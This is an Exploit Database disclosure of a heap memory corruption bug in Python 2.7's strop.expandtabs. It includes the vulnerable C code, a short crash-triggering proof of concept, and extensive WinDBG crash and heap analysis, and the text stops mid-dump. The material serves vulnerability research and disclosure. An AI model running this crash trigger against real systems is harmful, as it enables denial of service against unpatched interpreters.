Python – Interpreter Heap Memory Corruption (PoC)

• Exploit Database
• 112 阅读

• 作者： Debasish Mandal
  日期： 2014-05-08
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/33251/
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  # Title: Python Interpreter Heap Memory Corruption # Date: Sun, 30 Mar 2014 20:09:44 -0400 # Vulnerability Discovered By : Unknown # Proof of Concept : Debasish Mandal (https://twitter.com/debasishm89) # Software Link: https://www.python.org/ # Version: All , Fix released (http://hg.python.org/cpython/rev/5dabc2d2f776) # Tested on: Microsoft Windows XP Professional SP2 EN (32bit)   Recentl a new fix has been pushed to official python source code repository which fixes (http://hg.python.org/cpython/rev/5dabc2d2f776 ) a memory corruption vulnerability in python interpreter&apos;s strop module. The vulnerability lies in expandtabs() functions. This is due to a missing check in line 626,627 of /Modules/stropmodule.c.   Vulnerable Code:   https://github.com/pgbovine/Py2crazy/blob/master/Python-2.7.5/Modules/stropmodule.c#L627   ------------------------------------------------------------------------------------------------------------ for (p = string; p < e; p++) { if (*p == &apos;\t&apos;) { j += tabsize - (j%tabsize); if (old_j > j) { PyErr_SetString(PyExc_OverflowError, "new string is too long"); return NULL; } old_j = j; } else { j++; if (*p == &apos;\n&apos;) { // Missing check i += j; j = 0; } } } ------------------------------------------------------------------------------------------------------------   Patch Diff: http://hg.python.org/cpython/diff/5dabc2d2f776/Modules/stropmodule.c     ================= Proof of Concept: =================   Running below code will crash the vulnerable python.exe process.   import strop raw_input(&apos;Press Enter to BOOM!&apos;) a = &apos;\t\n&apos; * 65536 strop.expandtabs(a, 65536)   ============================ Crash Analysis using WinDBG: ============================   Microsoft (R) Windows Debugger Version 6.12.0002.633 X86 Copyright (c) Microsoft Corporation. All rights reserved.   *** wait with pending attach Symbol search path is: SRV*E:\symbol*http://msdl.microsoft.com/download/symbols Executable search path is: ModLoad: 1d000000 1d00a000 C:\Python27\python.exe ModLoad: 7c900000 7c9b0000 C:\WINDOWS\system32\ntdll.dll ModLoad: 7c800000 7c8f4000 C:\WINDOWS\system32\kernel32.dll ModLoad: 1e000000 1e227000 C:\WINDOWS\system32\python27.dll ModLoad: 77d40000 77dd0000 C:\WINDOWS\system32\USER32.dll ModLoad: 77f10000 77f56000 C:\WINDOWS\system32\GDI32.dll ModLoad: 77dd0000 77e6b000 C:\WINDOWS\system32\ADVAPI32.dll ModLoad: 77e70000 77f01000 C:\WINDOWS\system32\RPCRT4.dll ModLoad: 7c9c0000 7d1d4000 C:\WINDOWS\system32\SHELL32.dll ModLoad: 77c10000 77c68000 C:\WINDOWS\system32\msvcrt.dll ModLoad: 77f60000 77fd6000 C:\WINDOWS\system32\SHLWAPI.dll ModLoad: 78520000 785c3000 C:\WINDOWS\WinSxS\x86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.21022.8_x-ww_d08d0375\MSVCR90.dll ModLoad: 773d0000 774d2000 C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.2180_x-ww_a84f1ff9\comctl32.dll ModLoad: 5d090000 5d127000 C:\WINDOWS\system32\comctl32.dll (f0.320): Break instruction exception - code 80000003 (first chance) eax=7ffd6000 ebx=00000001 ecx=00000002 edx=00000003 esi=00000004 edi=00000005 eip=7c901230 esp=023dffcc ebp=023dfff4 iopl=0 nv up ei pl zr na pe nc cs=001bss=0023ds=0023es=0023fs=0038gs=0000 efl=00000246 ntdll!DbgBreakPoint: 7c901230 ccint 3 0:001> g (f0.1f4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=20202020 ebx=0263bffe ecx=00003fff edx=00000001 esi=00010000 edi=025cf000 eip=7855b37f esp=0021fce4 ebp=0021fd1c iopl=0 nv up ei pl nz na pe nc cs=001bss=0023ds=0023es=0023fs=0038gs=0000 efl=00010206 MSVCR90!memset+0x5f: 7855b37f f3abrep stos dword ptr es:[edi]   We can see we have a write access violation at MSVCR90!memset+0x5f:   Crash stack trace:   0:000> kb *** ERROR: Symbol file could not be found.Defaulted to export symbols for C:\WINDOWS\system32\python27.dll - ChildEBP RetAddrArgs to Child 0021fce4 1e0483e2 025ceffd 00000020 00010000 MSVCR90!memset+0x5f WARNING: Stack unwind information not available. Following frames may be wrong. 0021fd1c 1e08883b 00000000 022e7cd8 022eb5a8 python27!PyOS_AfterFork+0xc9f 0021fd38 1e0bf781 022eb5a8 022e7cd8 00000000 python27!PyCFunction_Call+0x138 0021fd60 1e0bcb94 1e0bd826 0021fdc4 01e280f8 python27!PyEval_GetFuncDesc+0x341 0021fd64 1e0bd826 0021fdc4 01e280f8 02663ff0 python27!PyEval_EvalFrameEx+0x18e4 0021fdd8 1e0be200 0021fe20 1e0be82e 02663eb8 python27!PyEval_EvalFrameEx+0x2576 0021fde0 1e0be82e 02663eb8 00000000 0261e2c0 python27!PyEval_EvalCodeEx+0x50 0021fe20 1e0bb295 01e280f8 01e1e6f0 01e1e6f0 python27!PyEval_EvalCodeEx+0x67e 0021fe54 1e0e0d68 01e280f8 01e1e6f0 01e1e6f0 python27!PyEval_EvalCode+0x25 0021fe70 1e0e0d36 0261e2c0 01de2ff3 01e1e6f0 python27!PyRun_FileExFlags+0x97 0021fe9c 1e0e0329 785b7408 01de2ff3 00000101 python27!PyRun_FileExFlags+0x65 0021fed8 1e0dff3e 785b7408 01de2ff3 00000001 python27!PyRun_SimpleFileExFlags+0x133 0021fef8 1e02f5df 785b7408 01de2ff3 00000001 python27!PyRun_AnyFileExFlags+0x4c *** ERROR: Module load completed but symbols could not be loaded for C:\Python27\python.exe 0021ff7c 1d001160 00000002 01de2fd0 01d9ef80 python27!Py_Main+0x805 0021ffc0 7c816d4f 00090000 01fa0cda 7ffd6000 python+0x1160 0021fff0 00000000 1d0012a8 00000000 78746341 kernel32!BaseProcessStart+0x23   We crashed inside MSVCR90!memset   After that we restart the app and set a break point at memset.   0:001> bp MSVCR90!memset 0:001> g Breakpoint 0 hit eax=00aada58 ebx=00000014 ecx=00000014 edx=00000a98 esi=1e1e0658 edi=00aada58 eip=7855b320 esp=0021fbe8 ebp=0021fc30 iopl=0 nv up ei pl nz na po nc cs=001bss=0023ds=0023es=0023fs=0038gs=0000 efl=00000202 MSVCR90!memset: 7855b320 8b54240cmov edx,dword ptr [esp+0Ch] ss:0023:0021fbf4=00000014   Partial Dis assembly of memset caller:   .text:1E0483D0 sub esi, edx .text:1E0483D2 add [ebp+var_4], esi .text:1E0483D5 testesi, esi .text:1E0483D7 jle short loc_1E0483F8 .text:1E0483D9 pushesi ; Size .text:1E0483DA push20h ; Val .text:1E0483DC pushedi ; Dst .text:1E0483DD callmemset .text:1E0483E2 add esp, 0Ch .text:1E0483E5 add edi, esi .text:1E0483E7 jmp short loc_1E0483F8 .tex   edi=00aada58 is pointing to destination where final string is getting copied.   0:000> dd esp 0021fbe81e0978ad 00aada58 00000000 00000014 0021fbf800a81310 1e0977a2 1e1e0658 1e075222 0021fc081e1e0658 00000000 1e0977a2 1e0977dc 0021fc181e1e0658 00a81310 00000000 1e1e0658 0021fc281e0977a2 00aa8e40 0021fc9c 1e0650fe 0021fc381e1e0658 00a81310 00000000 009aabf0 0021fc4800a81310 1e06518c 1e1e0658 00a81310 0021fc5800000000 009aabf0 00000000 1e0651d9     0:000> !address 00aada58 00a80000 : 00a80000 - 0004b000 Type 00020000 MEM_PRIVATE Protect00000004 PAGE_READWRITE State00001000 MEM_COMMIT UsageRegionUsageHeap Handle 00970000     It&apos;s confirmed that the memset() is actually trying write to heap. After few calls to memset the python.exe process will crash.   0:000> g (7d8.44c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=20202020 ebx=00adbf66 ecx=000037e1 edx=00000001 esi=00010000 edi=00b0e000 eip=7855b37f esp=0021fce4 ebp=0021fd1c iopl=0 nv up ei pl nz na pe nc cs=001bss=0023ds=0023es=0023fs=0038gs=0000 efl=00010206 MSVCR90!memset+0x5f: 7855b37f f3abrep stos dword ptr es:[edi]   ========================================= Verify memory corruption using bang heap: =========================================   0:000> !heap -s Heap Flags ReservCommitVirt FreeList UCRVirtLockFast (k) (k)(k) (k) lengthblocks cont. heap ----------------------------------------------------------------------------- 00240000 000000021024 32 328 1 100 L 00340000 0000100264 24 24 13 1 100 L 00350000 0000800064 12 12 10 1 100 00930000 0000100264 16 162 1 100 L 00950000 0000100264 16 162 2 100 L 00970000 000010023136 1644 1656 33 3 200 L -----------------------------------------------------------------------------   0x00240000is Default Process Heap. From the size of commited bytes we can say 0x00970000 handling a large number of data.   0:000> !heap -a 00970000 Index AddressNameDebugging options enabled 6: 00970000 Segment at 00970000 to 00980000 (00010000 bytes committed) Segment at 00980000 to 00a80000 (00100000 bytes committed) Segment at 00a80000 to 00c80000 (0008b000 bytes committed) Flags:00001002 ForceFlags: 00000000 Granularity:8 bytes Segment Reserve:00400000 Segment Commit: 00002000 DeCommit Block Thres: 00000200 DeCommit Total Thres: 00002000 Total Free Size:000010df Max. Allocation Size: 7ffdefff Lock Variable at: 00970608 Next TagIndex:0000 Maximum TagIndex: 0000 Tag Entries:00000000 PsuedoTag Entries:00000000 Virtual Alloc List: 00970050 UCR FreeList:00970598 FreeList Usage:84091158 00001001 00000000 80000000 FreeList[ 00 ] at 00970178: 00ac5eb8 . 00a6f8d8 00a6f8d0: 01008 . 00ad8 [00] - free 00b0bf88: 10100 . 10100 [20] - free Unable to read nt!_HEAP_FREE_ENTRY structure at 20202018 FreeList[ 03 ] at 00970190: 00a38ff0 . 00a57fe0 00a57fd8: 00048 . 00018 [00] - free 00a38fe8: 00048 . 00018 [00] - free FreeList[ 04 ] at 00970198: 009c1fe8 . 009c1fe8 009c1fe0: 00188 . 00020 [00] - free FreeList[ 06 ] at 009701a8: 00acf128 . 00acf128 00acf120: 00130 . 00030 [00] - free FreeList[ 08 ] at 009701b8: 00a58fb8 . 00a58fb8 00a58fb0: 00010 . 00040 [00] - free FreeList[ 0c ] at 009701d8: 009cb980 . 009cb980 009cb978: 00010 . 00060 [00] - free FreeList[ 10 ] at 009701f8: 009c7588 . 009c7588 009c7580: 00178 . 00080 [00] - free FreeList[ 13 ] at 00970210: 00a2af50 . 00a2af50 00a2af48: 000c8 . 00098 [00] - free FreeList[ 1a ] at 00970248: 00ac5a68 . 00ac5a68 00ac5a60: 00170 . 000d0 [00] - free FreeList[ 1f ] at 00970270: 00a71990 . 00a71990 00a71988: 00188 . 000f8 [00] - free FreeList[ 20 ] at 00970278: 00a78c78 . 00a78c78 00a78c70: 00188 . 00100 [00] - free FreeList[ 2c ] at 009702d8: 009d8788 . 009d8788 009d8780: 001d0 . 00160 [00] - free FreeList[ 7f ] at 00970570: 00a7a3c0 . 00a7a3c0 00a7a3b8: 00220 . 003f8 [00] - free Segment00 at 00970640: Flags: 00000000 Base:00970000 First Entry: 00970680 Last Entry:00980000 Total Pages: 00000010 Total UnCommit:00000000 Largest UnCommit:00000000 UnCommitted Ranges: (0)   Heap entries for Segment00 in Heap 00970000 00970000: 00000 . 00640 [01] - busy (640) 00970640: 00640 . 00040 [01] - busy (40) 00970680: 00040 . 01808 [01] - busy (1800) 00971e88: 01808 . 00220 [01] - busy (214) 009720a8: 00220 . 00808 [01] - busy (800) 009728b0: 00808 . 001c8 [01] - busy (1c0) 00972a78: 001c8 . 00188 [01] - busy (180) 00972c00: 00188 . 00010 [01] - busy (4) 00972c10: 00010 . 00010 [01] - busy (4) 00972c20: 00010 . 00010 [01] - busy (4) 00972c30: 00010 . 00018 [01] - busy (10) 00972c48: 00018 . 00020 [01] - busy (18) 00972c68: 00020 . 00018 [01] - busy (10) 00972c80: 00018 . 00018 [01] - busy (10) 00972c98: 00018 . 00028 [01] - busy (20) 00972cc0: 00028 . 00018 [01] - busy (c) 00972cd8: 00018 . 00010 [01] - busy (8) 00972ce8: 00010 . 00228 [01] - busy (220) 00972f10: 00228 . 00088 [01] - busy (7c) 00972f98: 00088 . 00040 [01] - busy (34) 00972fd8: 00040 . 00050 [01] - busy (43) 00973028: 00050 . 00020 [01] - busy (13) 00973048: 00020 . 00040 [01] - busy (31) 00973088: 00040 . 00028 [01] - busy (1d) 009730b0: 00028 . 00030 [01] - busy (24) 009730e0: 00030 . 00020 [01] - busy (14) 00973100: 00020 . 00020 [01] - busy (12) 00973120: 00020 . 00018 [01] - busy (d) 00973138: 00018 . 00040 [01] - busy (31) 00973178: 00040 . 00028 [01] - busy (1e) 009731a0: 00028 . 00020 [01] - busy (17) 009731c0: 00020 . 00018 [01] - busy (e) 009731d8: 00018 . 00098 [01] - busy (8a) 00973270: 00098 . 00048 [01] - busy (39) 009732b8: 00048 . 00028 [01] - busy (1b) 009732e0: 00028 . 00050 [01] - busy (45) 00973330: 00050 . 00020 [01] - busy (12) 00973350: 00020 . 00020 [01] - busy (18) 00973370: 00020 . 00028 [01] - busy (1e) 00973398: 00028 . 00020 [01] - busy (13) 009733b8: 00020 . 00020 [01] - busy (14) 009733d8: 00020 . 00018 [01] - busy (f) 009733f0: 00018 . 00020 [01] - busy (16) 00973410: 00020 . 00030 [01] - busy (28) 00973440: 00030 . 00030 [01] - busy (27) 00973470: 00030 . 00028 [01] - busy (1b) 00973498: 00028 . 00028 [01] - busy (19) 009734c0: 00028 . 00040 [01] - busy (36) 00973500: 00040 . 00020 [01] - busy (12) 00973520: 00020 . 00808 [01] - busy (800) 00973d28: 00808 . 00088 [01] - busy (80) 00973db0: 00088 . 00088 [01] - busy (80) 00973e38: 00088 . 00038 [01] - busy (30) 00973e70: 00038 . 00030 [01] - busy (24) 00973ea0: 00030 . 00018 [01] - busy (c) 00973eb8: 00018 . 00060 [01] - busy (54) 00973f18: 00060 . 00188 [01] - busy (180) 009740a0: 00188 . 00608 [01] - busy (600) 009746a8: 00608 . 00608 [01] - busy (600) 00974cb0: 00608 . 00608 [01] - busy (600) 009752b8: 00608 . 00208 [01] - busy (1fd) 009754c0: 00208 . 00188 [01] - busy (180) 00975648: 00188 . 00608 [01] - busy (600) 00975c50: 00608 . 00608 [01] - busy (600) 00976258: 00608 . 00228 [01] - busy (219) 00976480: 00228 . 00608 [01] - busy (600) 00976a88: 00608 . 00048 [01] - busy (3c) 00976ad0: 00048 . 00150 [01] - busy (145) 00976c20: 00150 . 00188 [01] - busy (180) 00976da8: 00188 . 00110 [01] - busy (107) 00976eb8: 00110 . 00188 [01] - busy (180) 00977040: 00188 . 00608 [01] - busy (600) 00977648: 00608 . 00190 [01] - busy (187) 009777d8: 00190 . 00608 [01] - busy (600) 00977de0: 00608 . 00608 [01] - busy (600) 009783e8: 00608 . 00110 [01] - busy (103) 009784f8: 00110 . 00220 [01] - busy (216) 00978718: 00220 . 00188 [01] - busy (180) 009788a0: 00188 . 00070 [01] - busy (64) 00978910: 00070 . 00188 [01] - busy (180) 00978a98: 00188 . 00608 [01] - busy (600) 009790a0: 00608 . 00608 [01] - busy (600) 009796a8: 00608 . 00148 [01] - busy (13b) 009797f0: 00148 . 00188 [01] - busy (180) 00979978: 00188 . 00608 [01] - busy (600) 00979f80: 00608 . 00170 [01] - busy (162) 0097a0f0: 00170 . 00608 [01] - busy (600) 0097a6f8: 00608 . 00188 [01] - busy (180) 0097a880: 00188 . 00608 [01] - busy (600) 0097ae88: 00608 . 00608 [01] - busy (600) 0097b490: 00608 . 001a8 [01] - busy (19c) 0097b638: 001a8 . 00098 [01] - busy (8c) 0097b6d0: 00098 . 00188 [01] - busy (180) 0097b858: 00188 . 00608 [01] - busy (600) 0097be60: 00608 . 00188 [01] - busy (180) 0097bfe8: 00188 . 00188 [01] - busy (180) 0097c170: 00188 . 00188 [01] - busy (180) 0097c2f8: 00188 . 00608 [01] - busy (600) 0097c900: 00608 . 00188 [01] - busy (180) 0097ca88: 00188 . 00608 [01] - busy (600) 0097d090: 00608 . 00188 [01] - busy (180) 0097d218: 00188 . 000c0 [01] - busy (b8) 0097d2d8: 000c0 . 00188 [01] - busy (180) 0097d460: 00188 . 00188 [01] - busy (180) 0097d5e8: 00188 . 00608 [01] - busy (600) 0097dbf0: 00608 . 00188 [01] - busy (180) 0097dd78: 00188 . 00608 [01] - busy (600) 0097e380: 00608 . 003d8 [01] - busy (3ce) 0097e758: 003d8 . 003e8 [01] - busy (3dc) 0097eb40: 003e8 . 003e8 [01] - busy (3dc) 0097ef28: 003e8 . 003e8 [01] - busy (3dc) 0097f310: 003e8 . 003e8 [01] - busy (3dc) 0097f6f8: 003e8 . 00608 [01] - busy (600) 0097fd00: 00608 . 000f8 [01] - busy (f0) 0097fdf8: 000f8 . 00150 [01] - busy (148) 0097ff48: 00150 . 00038 [01] - busy (30) 0097ff80: 00038 . 00080 [11] - busy (78) Segment01 at 00980000: Flags: 00000000 Base:00980000 First Entry: 00980040 Last Entry:00a80000 Total Pages: 00000100 Total UnCommit:00000000 Largest UnCommit:00000000 UnCommitted Ranges: (0)   Heap entries for Segment01 in Heap 00970000 00980000: 00000 . 00040 [01] - busy (40) 00980040: 00040 . 40008 [01] - busy (40000) 009c0048: 40008 . 00608 [01] - busy (600) 009c0650: 00608 . 01808 [01] - busy (1800) 009c1e58: 01808 . 00188 [01] - busy (180) 009c1fe0: 00188 . 00020 [00] 009c2000: 00020 . 00608 [01] - busy (600) 009c2608: 00608 . 00608 [01] - busy (600) 009c2c10: 00608 . 00608 [01] - busy (600) 009c3218: 00608 . 01808 [01] - busy (1800) 009c4a20: 01808 . 00160 [01] - busy (158) 009c4b80: 00160 . 00188 [01] - busy (180) 009c4d08: 00188 . 00160 [01] - busy (158) 009c4e68: 00160 . 00188 [01] - busy (180) 009c4ff0: 00188 . 00608 [01] - busy (600) 009c55f8: 00608 . 01808 [01] - busy (1800) 009c6e00: 01808 . 00608 [01] - busy (600) 009c7408: 00608 . 00178 [01] - busy (16c) 009c7580: 00178 . 00080 [00] 009c7600: 00080 . 002e8 [01] - busy (2df) 009c78e8: 002e8 . 00198 [01] - busy (18a) 009c7a80: 00198 . 00220 [01] - busy (214) 009c7ca0: 00220 . 00200 [01] - busy (1f8) 009c7ea0: 00200 . 001d0 [01] - busy (1c1) 009c8070: 001d0 . 00260 [01] - busy (257) 009c82d0: 00260 . 001d8 [01] - busy (1cb) 009c84a8: 001d8 . 00168 [01] - busy (160) 009c8610: 00168 . 00188 [01] - busy (180) 009c8798: 00188 . 001b0 [01] - busy (1a8) 009c8948: 001b0 . 001a8 [01] - busy (19d) 009c8af0: 001a8 . 000c8 [01] - busy (c0) 009c8bb8: 000c8 . 00050 [01] - busy (48) 009c8c08: 00050 . 00010 [01] - busy (4) 009c8c18: 00010 . 00f88 [01] - busy (f7f) 009c9ba0: 00f88 . 00090 [01] - busy (82) 009c9c30: 00090 . 003f0 [01] - busy (3e8) 009ca020: 003f0 . 00128 [01] - busy (120) 009ca148: 00128 . 00120 [01] - busy (114) 009ca268: 00120 . 00608 [01] - busy (600) 009ca870: 00608 . 00148 [01] - busy (140) 009ca9b8: 00148 . 00608 [01] - busy (600) 009cafc0: 00608 . 000d0 [01] - busy (c8) 009cb090: 000d0 . 00608 [01] - busy (600) 009cb698: 00608 . 00250 [01] - busy (247) 009cb8e8: 00250 . 00018 [01] - busy (10) 009cb900: 00018 . 00018 [01] - busy (10) 009cb918: 00018 . 00020 [01] - busy (18) 009cb938: 00020 . 00018 [01] - busy (10) 009cb950: 00018 . 00018 [01] - busy (10) 009cb968: 00018 . 00010 [01] - busy (2) 009cb978: 00010 . 00060 [00] 009cb9d8: 00060 . 00608 [01] - busy (600) 009cbfe0: 00608 . 00048 [01] - busy (3c) 009cc028: 00048 . 00020 [01] - busy (18) 009cc048: 00020 . 00018 [01] - busy (10) 009cc060: 00018 . 00018 [01] - busy (10) 009cc078: 00018 . 00188 [01] - busy (180) 009cc200: 00188 . 00030 [01] - busy (24) 009cc230: 00030 . 00018 [01] - busy (10) 009cc248: 00018 . 00188 [01] - busy (180) 009cc3d0: 00188 . 00030 [01] - busy (22) 009cc400: 00030 . 00018 [01] - busy (10) 009cc418: 00018 . 00028 [01] - busy (20) 009cc440: 00028 . 00018 [01] - busy (10) 009cc458: 00018 . 00188 [01] - busy (180) 009cc5e0: 00188 . 00018 [01] - busy (10) 009cc5f8: 00018 . 00018 [01] - busy (10) 009cc610: 00018 . 00048 [01] - busy (40) 009cc658: 00048 . 00018 [01] - busy (10) 009cc670: 00018 . 00188 [01] - busy (180) 009cc7f8: 00188 . 00018 [01] - busy (10) 009cc810: 00018 . 00188 [01] - busy (180) 009cc998: 00188 . 00018 [01] - busy (10) 009cc9b0: 00018 . 00188 [01] - busy (180) 009ccb38: 00188 . 00018 [01] - busy (c) 009ccb50: 00018 . 00018 [01] - busy (10) 009ccb68: 00018 . 00048 [01] - busy (40) 009ccbb0: 00048 . 00130 [01] - busy (127) 009ccce0: 00130 . 00188 [01] - busy (180) 009cce68: 00188 . 00018 [01] - busy (10) 009cce80: 00018 . 00188 [01] - busy (180) 009cd008: 00188 . 00608 [01] - busy (600) 009cd610: 00608 . 00608 [01] - busy (600) 009cdc18: 00608 . 01808 [01] - busy (1800) 009cf420: 01808 . 001f8 [01] - busy (1ef) 009cf618: 001f8 . 00270 [01] - busy (264) 009cf888: 00270 . 001e0 [01] - busy (1d8) 009cfa68: 001e0 . 00188 [01] - busy (180) 009cfbf0: 00188 . 000c8 [01] - busy (c0) 009cfcb8: 000c8 . 00188 [01] - busy (180) 009cfe40: 00188 . 005d8 [01] - busy (5ca) 009d0418: 005d8 . 00080 [01] - busy (78) 009d0498: 00080 . 00308 [01] - busy (300) 009d07a0: 00308 . 00188 [01] - busy (180) 009d0928: 00188 . 00018 [01] - busy (10) 009d0940: 00018 . 00188 [01] - busy (180) 009d0ac8: 00188 . 00020 [01] - busy (18) 009d0ae8: 00020 . 00c10 [01] - busy (c00) 009d16f8: 00c10 . 003e8 [01] - busy (3dc) 009d1ae0: 003e8 . 00010 [01] - busy (4) 009d1af0: 00010 . 00260 [01] - busy (255) 009d1d50: 00260 . 000f0 [01] - busy (e8) 009d1e40: 000f0 . 00158 [01] - busy (14f) 009d1f98: 00158 . 00a60 [01] - busy (a51) 009d29f8: 00a60 . 00168 [01] - busy (160) 009d2b60: 00168 . 00178 [01] - busy (16f) 009d2cd8: 00178 . 00258 [01] - busy (24d) 009d2f30: 00258 . 00138 [01] - busy (12b) 009d3068: 00138 . 00158 [01] - busy (150) 009d31c0: 00158 . 00158 [01] - busy (14a) 009d3318: 00158 . 00180 [01] - busy (178) 009d3498: 00180 . 00138 [01] - busy (12b) 009d35d0: 00138 . 00158 [01] - busy (14f) 009d3728: 00158 . 00178 [01] - busy (16c) 009d38a0: 00178 . 00180 [01] - busy (178) 009d3a20: 00180 . 001f0 [01] - busy (1e4) 009d3c10: 001f0 . 002c0 [01] - busy (2b4) 009d3ed0: 002c0 . 00200 [01] - busy (1f8) 009d40d0: 00200 . 001f8 [01] - busy (1f0) 009d42c8: 001f8 . 01808 [01] - busy (1800) 009d5ad0: 01808 . 00608 [01] - busy (600) 009d60d8: 00608 . 00608 [01] - busy (600) 009d66e0: 00608 . 000e8 [01] - busy (dc) 009d67c8: 000e8 . 00018 [01] - busy (c) 009d67e0: 00018 . 00030 [01] - busy (28) 009d6810: 00030 . 00198 [01] - busy (18e) 009d69a8: 00198 . 00970 [01] - busy (963) 009d7318: 00970 . 000c0 [01] - busy (b8) 009d73d8: 000c0 . 001d8 [01] - busy (1cf) 009d75b0: 001d8 . 00128 [01] - busy (11d) 009d76d8: 00128 . 00110 [01] - busy (104) 009d77e8: 00110 . 00168 [01] - busy (15a) 009d7950: 00168 . 00150 [01] - busy (141) 009d7aa0: 00150 . 001b0 [01] - busy (1a4) 009d7c50: 001b0 . 00198 [01] - busy (18d) 009d7de8: 00198 . 00148 [01] - busy (140) 009d7f30: 00148 . 003b0 [01] - busy (3a4) 009d82e0: 003b0 . 00110 [01] - busy (105)   009d83f0: 00110 . 001c0 [01] - busy (1b1) 009d85b0: 001c0 . 001d0 [01] - busy (1c7) 009d8780: 001d0 . 00160 [00] 009d88e0: 00160 . 00018 [01] - busy (c) 009d88f8: 00018 . 00188 [01] - busy (180) 009d8a80: 00188 . 00020 [01] - busy (18) 009d8aa0: 00020 . 01808 [01] - busy (1800) 009da2a8: 01808 . 00608 [01] - busy (600) 009da8b0: 00608 . 001a8 [01] - busy (19a) 009daa58: 001a8 . 00608 [01] - busy (600) 009db060: 00608 . 00140 [01] - busy (133) 009db1a0: 00140 . 00c08 [01] - busy (c00) 009dbda8: 00c08 . 00158 [01] - busy (14d) 009dbf00: 00158 . 00160 [01] - busy (155) 009dc060: 00160 . 00368 [01] - busy (35e) 009dc3c8: 00368 . 00140 [01] - busy (132) 009dc508: 00140 . 01808 [01] - busy (1800) 009ddd10: 01808 . 00170 [01] - busy (168) 009dde80: 00170 . 00130 [01] - busy (124) 009ddfb0: 00130 . 00018 [01] - busy (10) 009ddfc8: 00018 . 00018 [01] - busy (4) 009ddfe0: 00018 . 00188 [01] - busy (180) 009de168: 00188 . 00188 [01] - busy (180) 009de2f0: 00188 . 00188 [01] - busy (180) 009de478: 00188 . 00608 [01] - busy (600) 009dea80: 00608 . 00158 [01] - busy (150) 009debd8: 00158 . 00020 [01] - busy (18) 009debf8: 00020 . 00020 [01] - busy (14) 009dec18: 00020 . 00018 [01] - busy (10) 009dec30: 00018 . 00020 [01] - busy (18) 009dec50: 00020 . 00018 [01] - busy (10) 009dec68: 00018 . 00018 [01] - busy (10) 009dec80: 00018 . 00018 [01] - busy (10) 009dec98: 00018 . 00010 [01] - busy (4) 009deca8: 00010 . 00070 [01] - busy (64) 009ded18: 00070 . 00198 [01] - busy (18c) 009deeb0: 00198 . 00020 [01] - busy (18) 009deed0: 00020 . 000f0 [01] - busy (e8) 009defc0: 000f0 . 00210 [01] - busy (202) 009df1d0: 00210 . 00218 [01] - busy (20e) 009df3e8: 00218 . 00238 [01] - busy (229) 009df620: 00238 . 000d0 [01] - busy (c0) 009df6f0: 000d0 . 004a0 [01] - busy (498) 009dfb90: 004a0 . 00098 [01] - busy (90) 009dfc28: 00098 . 00120 [01] - busy (117) 009dfd48: 00120 . 001d0 [01] - busy (1c1) 009dff18: 001d0 . 40008 [01] - busy (40000) 00a1ff20: 40008 . 00330 [01] - busy (324) 00a20250: 00330 . 00188 [01] - busy (180) 00a203d8: 00188 . 00150 [01] - busy (145) 00a20528: 00150 . 00190 [01] - busy (188) 00a206b8: 00190 . 00188 [01] - busy (180) 00a20840: 00188 . 00218 [01] - busy (210) 00a20a58: 00218 . 00188 [01] - busy (180) 00a20be0: 00188 . 00188 [01] - busy (180) 00a20d68: 00188 . 00040 [01] - busy (38) 00a20da8: 00040 . 00120 [01] - busy (117) 00a20ec8: 00120 . 00020 [01] - busy (18) 00a20ee8: 00020 . 000e8 [01] - busy (dc) 00a20fd0: 000e8 . 00608 [01] - busy (600) 00a215d8: 00608 . 00178 [01] - busy (170) 00a21750: 00178 . 00270 [01] - busy (268) 00a219c0: 00270 . 00078 [01] - busy (64) 00a21a38: 00078 . 00190 [01] - busy (184) 00a21bc8: 00190 . 00608 [01] - busy (600) 00a221d0: 00608 . 00188 [01] - busy (180) 00a22358: 00188 . 00188 [01] - busy (180) 00a224e0: 00188 . 001e0 [01] - busy (1d8) 00a226c0: 001e0 . 00188 [01] - busy (180) 00a22848: 00188 . 00120 [01] - busy (117) 00a22968: 00120 . 00028 [01] - busy (20) 00a22990: 00028 . 00018 [01] - busy (c) 00a229a8: 00018 . 00188 [01] - busy (180) 00a22b30: 00188 . 00018 [01] - busy (10) 00a22b48: 00018 . 00020 [01] - busy (14) 00a22b68: 00020 . 00020 [01] - busy (14) 00a22b88: 00020 . 00048 [01] - busy (40) 00a22bd0: 00048 . 00288 [01] - busy (27b) 00a22e58: 00288 . 00250 [01] - busy (244) 00a230a8: 00250 . 00148 [01] - busy (140) 00a231f0: 00148 . 001e0 [01] - busy (1d8) 00a233d0: 001e0 . 00608 [01] - busy (600) 00a239d8: 00608 . 00170 [01] - busy (164) 00a23b48: 00170 . 001e0 [01] - busy (1d8) 00a23d28: 001e0 . 00070 [01] - busy (62) 00a23d98: 00070 . 00148 [01] - busy (13a) 00a23ee0: 00148 . 000f0 [01] - busy (e8) 00a23fd0: 000f0 . 001b0 [01] - busy (1a4) 00a24180: 001b0 . 003a0 [01] - busy (397) 00a24520: 003a0 . 001e0 [01] - busy (1d4) 00a24700: 001e0 . 00200 [01] - busy (1f8) 00a24900: 00200 . 00150 [01] - busy (146) 00a24a50: 00150 . 00258 [01] - busy (250) 00a24ca8: 00258 . 001e8 [01] - busy (1d9) 00a24e90: 001e8 . 00258 [01] - busy (250) 00a250e8: 00258 . 00158 [01] - busy (150) 00a25240: 00158 . 001e0 [01] - busy (1d8) 00a25420: 001e0 . 001e0 [01] - busy (1d8) 00a25600: 001e0 . 00080 [01] - busy (78) 00a25680: 00080 . 00070 [01] - busy (60) 00a256f0: 00070 . 001e0 [01] - busy (1d8) 00a258d0: 001e0 . 00608 [01] - busy (600) 00a25ed8: 00608 . 00338 [01] - busy (330) 00a26210: 00338 . 00188 [01] - busy (180) 00a26398: 00188 . 00278 [01] - busy (26a) 00a26610: 00278 . 001e0 [01] - busy (1d8) 00a267f0: 001e0 . 00188 [01] - busy (180) 00a26978: 00188 . 00178 [01] - busy (16c) 00a26af0: 00178 . 002b8 [01] - busy (2ae) 00a26da8: 002b8 . 00188 [01] - busy (180) 00a26f30: 00188 . 001e0 [01] - busy (1d8) 00a27110: 001e0 . 00188 [01] - busy (180) 00a27298: 00188 . 00180 [01] - busy (174) 00a27418: 00180 . 00178 [01] - busy (16c) 00a27590: 00178 . 00168 [01] - busy (160) 00a276f8: 00168 . 00178 